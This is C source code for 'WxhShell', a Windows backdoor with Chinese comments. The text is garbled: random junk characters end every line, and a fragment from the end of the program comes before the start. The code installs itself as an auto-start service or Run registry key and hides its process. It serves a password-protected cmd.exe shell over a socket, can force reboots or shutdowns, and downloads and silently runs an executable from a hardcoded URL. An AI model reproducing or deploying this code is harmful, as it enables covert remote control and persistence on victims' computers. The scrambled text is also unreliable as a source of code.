    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JQ6zVS2SSS  
    if(Boot(SHUTDOWN)) ) `A3M)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=/>Vbd: )  
    else { T QSzx%i2  
    closesocket(wsh); d [V;&U  
    ExitThread(0); o8-^cP1  
    } LS88.w\=S@  
    break; Zy(W^~NT  
    } fv9V7  
  // 获取shell Te}8!_ohyC  
  case 's': { 79xx2  
    CmdShell(wsh); EodQ*{l  
    closesocket(wsh); '{ V0M<O  
    ExitThread(0); ?Vf o+a,  
    break; nAjO6g6E  
  } [`rba'  
  // 退出 glF; e T  
  case 'x': { 8F&=a,ps[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {O`w,dMOI  
    CloseIt(wsh); '4|-9M3f  
    break; }9W4"e2)  
    } ?l^1 *Q,  
  // 离开 zN"J}r:  
  case 'q': { Y#lk6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7U2J xE  
    closesocket(wsh); Ooq! 0g  
    WSACleanup(); Bb}fj28  
    exit(1); A3iFI9Iv  
    break; }`,t$NV`  
        } h?;T7|^  
  } dK2p7xo  
  } 4*cU<  
#[`:'e  
  // 提示信息 vWf; 'j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NwG= <U*  
} ,H19`;Q  
  } G6FEp`  
Dqe^E%mc  
  return; XAe% m^  
} kZerKP  
iMP]W _  
// shell模块句柄 ^WNrGF  
int CmdShell(SOCKET sock) }t%!9hr5D  
{ /S(zff[at  
STARTUPINFO si; vbD{N3p)?n  
ZeroMemory(&si,sizeof(si)); YGPy@-,E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5wh|=**/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (C@~3!AVa  
PROCESS_INFORMATION ProcessInfo; ,]cD  
char cmdline[]="cmd"; Hqn#yInA7~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~tR~?b T  
  return 0; pD01,5/  
} _Gjk;|Sx<I  
66I"=:  
// 自身启动模式 ?}a;}Q 6  
int StartFromService(void) S4h:|jLUF  
{ *?Kr*]dnLl  
typedef struct ;F~LqC$  
{ K/3)g9Z&io  
  DWORD ExitStatus; g;8jK 8 Kh  
  DWORD PebBaseAddress; }woo%N P  
  DWORD AffinityMask; mA*AeP_$  
  DWORD BasePriority; eZdu2.;<  
  ULONG UniqueProcessId; JZD[NZ<  
  ULONG InheritedFromUniqueProcessId; =<X?sj5  
}   PROCESS_BASIC_INFORMATION; HOE_S!N  
a8i]]1Blz  
PROCNTQSIP NtQueryInformationProcess; W034N[9  
/Ya_>+oo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NCk r /#!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U]vYV  
z3K6%rb-  
  HANDLE             hProcess; .D: Z{|.1  
  PROCESS_BASIC_INFORMATION pbi; Z<SLc,]^  
JA'h4AXk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %JHGiCv|  
  if(NULL == hInst ) return 0; )p~BQ~eip;  
^*S)t. "  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @g$Gti  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N%"Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }`v~I4i  
"Za >ZRR  
  if (!NtQueryInformationProcess) return 0; k=B] &F  
(jFGa2{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YH%'t= <m  
  if(!hProcess) return 0; D[mSmpjE6&  
OVko+X`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8rMX9qTO@  
I>[RqG  
  CloseHandle(hProcess); =|%Cu&  
]&i.b+^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pm\x~3jHs  
if(hProcess==NULL) return 0; -"h;uDz|z  
!\"5rNy  
HMODULE hMod; MV\|e1B}  
char procName[255]; W'.s\e?gh  
unsigned long cbNeeded; 2#<xAR  
%d>=+Ds[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a(9L,v#?  
A%D7bQ  
  CloseHandle(hProcess); b r^_'1  
rZfN+S,g  
if(strstr(procName,"services")) return 1; // 以服务启动  mi)LP?q  
_/s(7y!  
  return 0; // 注册表启动 Lv'D^'I  
} &*7?)eI!i  
DV\`Wv  
// 主模块 @1 U&UH  
int StartWxhshell(LPSTR lpCmdLine) j^;I3_P  
{ jGEt+\"/QJ  
  SOCKET wsl; D!.+Y-+Xzu  
BOOL val=TRUE; P~G1EK|4  
  int port=0; Fx $Q;H!.  
  struct sockaddr_in door; f"9q^  
YE=q:Bv  
  if(wscfg.ws_autoins) Install(); +AHUp)  
W0k0$\iX  
port=atoi(lpCmdLine); <0QH<4  
=ZDAeVz3w  
if(port<=0) port=wscfg.ws_port; sm\f0P!rv  
F^5?\  
  WSADATA data; sp5eVAd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tjl:|F8  
OnF3lCmu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IZ =Mlu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ltgc:&=|@  
  door.sin_family = AF_INET; AjT%]9 V?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xy@7y[s]  
  door.sin_port = htons(port); 1 29q`u;  
=9z[[dQ|L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e#Z$o($t  
closesocket(wsl); ( @3\`\X  
return 1; md q;R*`  
} r ; xLP  
kH4Ai3#g  
  if(listen(wsl,2) == INVALID_SOCKET) { E/09hD Q  
closesocket(wsl); "bm  
return 1; r4QxoaM  
} $zyIuJN#  
  Wxhshell(wsl); RheRe  
  WSACleanup(); @~#Ym1{W  
ooV3gj4  
return 0; rN%F) q#  
.9"Y_/0   
} V\{tmDE  
h-m \%|D  
// 以NT服务方式启动 K)-m*#H&uw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xw3YK!$sIF  
{ 6X\ 2GC9  
DWORD   status = 0; =Apxdnz,  
  DWORD   specificError = 0xfffffff; 66'?&Xx'  
o.'g]Q<}UB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TP"1\O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %^8^yZz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RtCkVxaEx  
  serviceStatus.dwWin32ExitCode     = 0; 5e}A@GyC  
  serviceStatus.dwServiceSpecificExitCode = 0; K,e w>U  
  serviceStatus.dwCheckPoint       = 0; ]Lm9^q14m  
  serviceStatus.dwWaitHint       = 0; 7yx$N n`(  
>A<bBK#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vk?skN@  
  if (hServiceStatusHandle==0) return; <7n4_RlF!  
qpsv i.S  
status = GetLastError(); L9@&2?k  
  if (status!=NO_ERROR) PIWux {  
{ IR-dU<<9O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; svuq gSn  
    serviceStatus.dwCheckPoint       = 0; "d$m@c  
    serviceStatus.dwWaitHint       = 0; VB?O hk]<  
    serviceStatus.dwWin32ExitCode     = status; jU3Z*Z)zN  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~{D[ >j][  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8?i7U<CB  
    return; (&P9+Tl  
  } 0q*r  
1 I*7SkgKv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  (:";i&  
  serviceStatus.dwCheckPoint       = 0; `KCh*i  
  serviceStatus.dwWaitHint       = 0; Da v PYg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d5>H3D{49  
} (C\hVy2X?N  
jC3Vbm&ZZ  
// 处理NT服务事件,比如:启动、停止 P{5-Mx!{&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6}(J6T46M[  
{ p<&Xd}]"^W  
switch(fdwControl) @0eHS +  
{ <N`J`J-[  
case SERVICE_CONTROL_STOP: dTL5-@  
  serviceStatus.dwWin32ExitCode = 0; zOSs[[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rC7``#5  
  serviceStatus.dwCheckPoint   = 0; 2<][%> '  
  serviceStatus.dwWaitHint     = 0; F! X}(N?t  
  { +E;2d-x*p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sU"}-de  
  } h@@nR(<i  
  return; eXkujjSw"  
case SERVICE_CONTROL_PAUSE: (__yh^h:m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7;tJK^J`  
  break; !bD@aVf?5  
case SERVICE_CONTROL_CONTINUE: >rP#ukr5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  X!j{o  
  break; g >'p>}t  
case SERVICE_CONTROL_INTERROGATE: v|ck>_" .  
  break; _kdL'x  
}; !{82D[5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +dP L>R  
} >^OC{~Az  
R@*O!bD  
// 标准应用程序主函数 d7&eLLx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +,&O1ykY  
{ )$&dg2[  
if)Y9:{r^  
// 获取操作系统版本 k`{@pt.  
OsIsNt=GetOsVer(); yCXrVN:`,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O$g_@B0E1  
6AP~]e 8  
  // 从命令行安装 ?6k}ii!c  
  if(strpbrk(lpCmdLine,"iI")) Install(); %"X-&1vV  
e } *0ghKI  
  // 下载执行文件 ~=wC wA|1  
if(wscfg.ws_downexe) { Dgql?+2$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9M /SH$Qy  
  WinExec(wscfg.ws_filenam,SW_HIDE); y')RT R{>M  
} k;EPpr-{  
c.|l-zAeX  
if(!OsIsNt) { 1TM~*<Jb  
// 如果时win9x,隐藏进程并且设置为注册表启动 teW6;O_  
HideProc(); )%X;^(zKM  
StartWxhshell(lpCmdLine); #$1og=  
} kip`Myw+  
else W{5:'9,  
  if(StartFromService()) @<@SMK)  
  // 以服务方式启动 #-Z8Z i"44  
  StartServiceCtrlDispatcher(DispatchTable); kJAn4I.l  
else ycJg%]F*5  
  // 普通方式启动 tj*y)28-  
  StartWxhshell(lpCmdLine); ]O TH"*j  
E_1="&p  
return 0; TS"D]Txs  
} EQe5JFR  
@[6,6:h|  
,zQOZ'^  
M('d-Q{B7L  
=========================================== `Ci4YDaz;k  
fRvAKz|rL  
kL90&nP   
,WQ^tI=O  
=l9T7az  
&W6^6=E{g  
" k{AyD`'Q  
mF09U(ci  
#include <stdio.h> a{!r`>I\f  
#include <string.h> 3S BZ>  
#include <windows.h> o:Zd1"Z  
#include <winsock2.h> &48_2Q"{  
#include <winsvc.h> 7dX/bzUVz8  
#include <urlmon.h> rxO2js  
AY SSa 1}  
#pragma comment (lib, "Ws2_32.lib") [Qdq}FYr  
#pragma comment (lib, "urlmon.lib") ir:d'g1k  
}sxn72,  
#define MAX_USER   100 // 最大客户端连接数 {C^@Q"I  
#define BUF_SOCK   200 // sock buffer FZH\Q~IUV  
#define KEY_BUFF   255 // 输入 buffer Bd3~EbFL  
xAwf49N~  
#define REBOOT     0   // 重启 [`Cq\mI-W  
#define SHUTDOWN   1   // 关机 up%Z$"Y  
l+y}4 k=/  
#define DEF_PORT   5000 // 监听端口 }E}8_ 8T6  
m~],nl  
#define REG_LEN     16   // 注册表键长度 n^hocGH*  
#define SVC_LEN     80   // NT服务名长度 quo^fqS&a  
6`$[Ini  
// 从dll定义API *]x*B@RF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E4D (,s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~SjZk|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nMoWOP'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ B0K  
BwJuYH7QJ$  
// wxhshell配置信息 np WEop>  
struct WSCFG { vtMJ@!MN;  
  int ws_port;         // 监听端口 ]]cYLaq(  
  char ws_passstr[REG_LEN]; // 口令 @("}]/O V:  
  int ws_autoins;       // 安装标记, 1=yes 0=no R: aYL~  
  char ws_regname[REG_LEN]; // 注册表键名 ^+R:MBK  
  char ws_svcname[REG_LEN]; // 服务名 D6Y6^eS-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l9/:FiJ_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W3Ulewa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b>~RSO*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XNH4==4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >!9h6BoGV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;t]|15]u  
3]n0 &MZAR  
}; {*/dD`  
)9P&=  
// default Wxhshell configuration ~ H[%vdR  
struct WSCFG wscfg={DEF_PORT, ., :uZyG  
    "xuhuanlingzhe", 4?/7 bc  
    1, cCxi{a1uo  
    "Wxhshell", >]}yXg=QK+  
    "Wxhshell", +#]|)V Z  
            "WxhShell Service", EX?h0Uy  
    "Wrsky Windows CmdShell Service", ~2/{3m{3A  
    "Please Input Your Password: ", *+8%kn`c  
  1, i~&c|  
  "http://www.wrsky.com/wxhshell.exe", \~X&o% y  
  "Wxhshell.exe" 9DEh*%q  
    }; +=8X8<Pu  
dALK0U  
// 消息定义模块 4VIg>EL*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b Dg9P^<n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G^Xd-7 GQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [xpQH?  
char *msg_ws_ext="\n\rExit."; M^H90GN)X  
char *msg_ws_end="\n\rQuit."; %{STz  
char *msg_ws_boot="\n\rReboot..."; C=VIT*=  
char *msg_ws_poff="\n\rShutdown..."; 00M`%c/  
char *msg_ws_down="\n\rSave to "; p\U*;'hv  
DMkhbo&+  
char *msg_ws_err="\n\rErr!"; ?En7_X{C?  
char *msg_ws_ok="\n\rOK!"; Z~3u:[x";  
(L|}`  
char ExeFile[MAX_PATH]; B4O6> '  
int nUser = 0; "E>t, D  
HANDLE handles[MAX_USER]; p,n\__  
int OsIsNt; ,deUsc  
3#Y3Dz`  
SERVICE_STATUS       serviceStatus; Q-R}qy5y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V_;9TC  
`)[dVfxA  
// 函数声明 DuF7HTN[K  
int Install(void); M^ 5e~y  
int Uninstall(void); w3#`1T`N  
int DownloadFile(char *sURL, SOCKET wsh); V:\]cGA{  
int Boot(int flag); U1Yo7nVf  
void HideProc(void); 0yHjrxc$  
int GetOsVer(void); 5 R*lVUix  
int Wxhshell(SOCKET wsl); KzkgWMM  
void TalkWithClient(void *cs); g2'x#%ET  
int CmdShell(SOCKET sock); 55hyV{L%  
int StartFromService(void); GOW"o"S  
int StartWxhshell(LPSTR lpCmdLine); p`GWhI?  
xeB4r/6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZPF7m{S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lht[g9  
uu>lDvR*  
// 数据结构和表定义 (/fT]6(  
SERVICE_TABLE_ENTRY DispatchTable[] = )C}KR`"  
{ lcig7%  
{wscfg.ws_svcname, NTServiceMain}, e}Q>\t45  
{NULL, NULL} vOgLEN&]  
}; j@ C0af  
dYyW]nZ&  
// 自我安装 pruWO'b`  
int Install(void) {NeWdC  
{ l.7d$8'\  
  char svExeFile[MAX_PATH]; IIax gfhZ  
  HKEY key; XOxB (0@  
  strcpy(svExeFile,ExeFile); ?f@ 9nph  
_[1^s$  
// 如果是win9x系统,修改注册表设为自启动 kV 1vb  
if(!OsIsNt) { QV/";A3k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d +xA:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P Ey/k.  
  RegCloseKey(key); C*O ,rm}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bpMl =_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M]B3vPA/v  
  RegCloseKey(key); W^(Iw%ek  
  return 0; o PaZ  
    } wA r~<  
  } ! o^Ic`FhS  
} cno;>[$  
else { u 6(GM  
-,/3"}<^78  
// 如果是NT以上系统,安装为系统服务 9>{t}I d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <~O}6HQ#  
if (schSCManager!=0) c `ud;lI  
{ ?{j@6,  
  SC_HANDLE schService = CreateService N<"`ShCNM  
  ( %|jzEBz@  
  schSCManager, <N5rv3 s  
  wscfg.ws_svcname, hBoP=X.~  
  wscfg.ws_svcdisp, 1$OVe4H1  
  SERVICE_ALL_ACCESS, jI Z+d;1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bx7\QU+  
  SERVICE_AUTO_START, K>LpN')d  
  SERVICE_ERROR_NORMAL, gr\@sx?b  
  svExeFile, bpnv&EG  
  NULL, nF j-<!  
  NULL, -? Tz.y&  
  NULL, !^1[ s@1  
  NULL, d|3o/@k  
  NULL ?k::tNv0  
  ); _iq2([BpL  
  if (schService!=0) JE9>8+  
  { YJc%h@_=]  
  CloseServiceHandle(schService); N Z)b:~a  
  CloseServiceHandle(schSCManager); &PSTwZd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W CoF{ *  
  strcat(svExeFile,wscfg.ws_svcname); HNFhH0+^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u6p5:oJj,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,,}sK  
  RegCloseKey(key); ,wlbIl~  
  return 0; s~)L_ p  
    } f^u^-l  
  } `1$y(w]  
  CloseServiceHandle(schSCManager); k%^<}s@  
} T aEt  
} k}-]W@UCa?  
EFwL.'Fh  
return 1; W8x[3,gT  
} }<.7xz|V  
4XD)E&   
// 自我卸载 r/^tzH's  
int Uninstall(void) \.kTe<.:_  
{ 9='=-;@/5  
  HKEY key; p; F2z;#  
AX8gij  
if(!OsIsNt) { +!Q!m 3/I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E;xMPK$  
  RegDeleteValue(key,wscfg.ws_regname); '1]+8E `Z  
  RegCloseKey(key); zfirb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n'ehB%"  
  RegDeleteValue(key,wscfg.ws_regname); [h^f%  
  RegCloseKey(key); C#ZhsWS!b  
  return 0; 6{ C Fe|XN  
  } [pr 9 $Jr  
} erXy>H[;  
} Esb ?U|F4  
else { *$JB`=Q  
D7M0NEY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^t`f1rGR  
if (schSCManager!=0) )&XnM69~b  
{ q%DVDq( z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q5hb0O%a  
  if (schService!=0) xkF$D:s P  
  { jzMhJ  
  if(DeleteService(schService)!=0) { 7TnM4@*f  
  CloseServiceHandle(schService); ([[)Ub$U  
  CloseServiceHandle(schSCManager); /z..5r^,ZZ  
  return 0; .r7D )xNa@  
  } 32s5-.{c/f  
  CloseServiceHandle(schService); ZU)BJ!L,s  
  } v3?kFd7%H~  
  CloseServiceHandle(schSCManager); hTDV!B-_(  
} " \`BPN  
} W0C{~|e  
o*-h%Z.  
return 1; @l)\?IEF@f  
} (rAiDRQ[  
)\D2\1e(c  
// 从指定url下载文件 uXjoGcW  
int DownloadFile(char *sURL, SOCKET wsh) k{?!O\yY  
{ Go-wAJ>  
  HRESULT hr; Y+!Ouc!$  
char seps[]= "/"; wH+FFXGJs  
char *token; 4=~ 9v  
char *file; >'eB2  
char myURL[MAX_PATH]; Z+r%_|kZ  
char myFILE[MAX_PATH]; mVa?aWpez  
_yiR h:  
strcpy(myURL,sURL); 1% asx'^  
  token=strtok(myURL,seps); ;gEp!R8  
  while(token!=NULL) "3\oQvi.  
  { | A3U@>6  
    file=token; (W7;}gysh  
  token=strtok(NULL,seps); i5.?g<.H  
  } 1XqIPiXJ  
A<mj8qz  
GetCurrentDirectory(MAX_PATH,myFILE); o`b$^hv{A  
strcat(myFILE, "\\"); Hde]DK,d  
strcat(myFILE, file); bK!,Pc<  
  send(wsh,myFILE,strlen(myFILE),0); W\&WS"=~  
send(wsh,"...",3,0); xOwNCh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tCuN?_ UG  
  if(hr==S_OK) 3w t:5 Im  
return 0; umZlIH[7  
else P4hZB_.=  
return 1; di"C]" ;  
Tld1P69(  
} P{"  WlJ  
0[V&8\S~'T  
// 系统电源模块 yJF 2  
int Boot(int flag) #.<*; rB  
{ o G (0i  
  HANDLE hToken; $dlnmNP+  
  TOKEN_PRIVILEGES tkp; {9h`$e=  
JX2mTQ  
  if(OsIsNt) { Fl B, (Cm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;3 G~["DA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $?[1#%  
    tkp.PrivilegeCount = 1; _=o1?R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uo]Hi^r.l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S9 $o  
if(flag==REBOOT) { jN31\)/i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =''mpIg(  
  return 0; nu#aa#ex>  
} -Pqi1pj]  
else { {z.[tvE8h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f@wsS m  
  return 0; &sI,8X2a2  
} H(X+.R,Thp  
  } /1IvLdPIu  
  else { 6.7`0v?,n  
if(flag==REBOOT) { &?KPu?9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4C l, Iw/;  
  return 0; o}WB(WsG  
} I(z>)S'7r  
else { 9=Y,["br$_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^t\kLU  
  return 0; \?bwm&6+r  
} [ED!J~lg8  
} WpXODkQL  
66I|0_  
return 1; }s`jl` `PM  
} P3+)pOE-SI  
aeG#: Ln+{  
// win9x进程隐藏模块 ML=hKwCA  
void HideProc(void) 9 eSN+q  
{ t7{L[C$  
RnMBGxa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DCEvr"(  
  if ( hKernel != NULL ) ]NaMZ  
  { y3&Tv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c'4>D,?1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @?<N +qdH>  
    FreeLibrary(hKernel); &/B2)l6a  
  } aDm-X r  
u~' m7  
return; xaGVu0q  
} T^/Gj|N*  
xB?S#5G}  
// 获取操作系统版本 JIyBhFI  
int GetOsVer(void) :NwMb^>  
{ )z]q"s5 Y  
  OSVERSIONINFO winfo; :N^@a-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NWo7wVwc/c  
  GetVersionEx(&winfo); l(h;e&9x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "wT ~$I"  
  return 1; cJU!zG  
  else p{A}p9sjx  
  return 0; Q3B'-BZe  
} .\z|Fr  
^4u3Q  
// 客户端句柄模块 m&Y; /kr  
int Wxhshell(SOCKET wsl) 8CHb~m@^$  
{ .nj?;).  
  SOCKET wsh; Z]mM  
  struct sockaddr_in client; /E`l:&89)  
  DWORD myID; l%sp[uqcg  
{ED(O -W  
  while(nUser<MAX_USER) 5]4<!m  
{ s`8M%ZLu  
  int nSize=sizeof(client); OYqYI!N/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "C$!mdr7  
  if(wsh==INVALID_SOCKET) return 1; 09}f\/  
Bq$e|t)'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jjS{q,bo  
if(handles[nUser]==0) f_i"/xC-/  
  closesocket(wsh); `-72>F;T  
else W (=Wg|cr  
  nUser++; gFWEodx,9  
  } "!%w9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XE f&Yd  
5XSxQG@k^z  
  return 0; ^DW#  
} /(hP7_]`2  
b qg]DO$*  
// 关闭 socket /%J&/2Wz  
void CloseIt(SOCKET wsh) r 85Xa'hh  
{ ,? 0-=o  
closesocket(wsh); BNL8hK`D  
nUser--; yNhscAMNn  
ExitThread(0); 2fj0 I  
} 8!o{W=m^4  
+E q~X=x  
// 客户端请求句柄 / K_e;(Y_  
void TalkWithClient(void *cs) lRF_ k  
{ 48 c D3w  
wzHjEW  
  SOCKET wsh=(SOCKET)cs; %468s7Q[Mi  
  char pwd[SVC_LEN]; #lBpln9  
  char cmd[KEY_BUFF]; t_dw}I   
char chr[1]; .R$+#_  
int i,j; s0XRL1kWr  
.T#y N\S1  
  while (nUser < MAX_USER) { #q~3c;ec  
*!r\GGb  
if(wscfg.ws_passstr) { :Fi%Cef|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IS0HV$OI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h30QCk  
  //ZeroMemory(pwd,KEY_BUFF); h9Tf@]W   
      i=0; Y2=Brtc[@  
  while(i<SVC_LEN) { Oi kU$~|  
jM3Y|}+  
  // 设置超时 SCfkv|hO  
  fd_set FdRead; DuO%B  
  struct timeval TimeOut; V 9QvQA r  
  FD_ZERO(&FdRead); dVsAX(  
  FD_SET(wsh,&FdRead); 4,w{rmj  
  TimeOut.tv_sec=8; h 0QYoDvbC  
  TimeOut.tv_usec=0; ctc`^#q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z!*8JaMT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JGSk4  
u'$yYzBE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m]-v IUpb  
  pwd=chr[0]; A/$KA'jX  
  if(chr[0]==0xd || chr[0]==0xa) { A1k&` |k   
  pwd=0; PNxVW  
  break; [/+dHW|  
  } I9*BENkR  
  i++; s_ GK;;  
    } BuEQ^[Ex  
@R'g@+{I  
  // 如果是非法用户,关闭 socket 9U}MXY0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aCUV[CPw  
} /,rF$5G,  
#5ohmp,u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SQ^^1.V&/Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '&pf  
q5I4'6NF  
while(1) { oxCs*   
~7ATt8T  
  ZeroMemory(cmd,KEY_BUFF); VHgF#6'   
K)h"G#NZM  
      // 自动支持客户端 telnet标准   I7G\X#,iz  
  j=0; j;AzkReb  
  while(j<KEY_BUFF) { <D;H} ef  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _A)_K;cz  
  cmd[j]=chr[0]; d5sGkR`(  
  if(chr[0]==0xa || chr[0]==0xd) { < o'7{  
  cmd[j]=0; p+`*~6Jj/  
  break; 0>~6Z  
  } _V7^sk!  
  j++; -;@5Ua1uf  
    } t5X^(@q4N  
CJ}@R.Zy  
  // 下载文件 /4"S}P>f  
  if(strstr(cmd,"http://")) { xPfnyAo?%z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O&?CoA?  
  if(DownloadFile(cmd,wsh)) \6`%NhkM_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?2<6#>(7a  
  else *(\;}JF-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ghgv RR$  
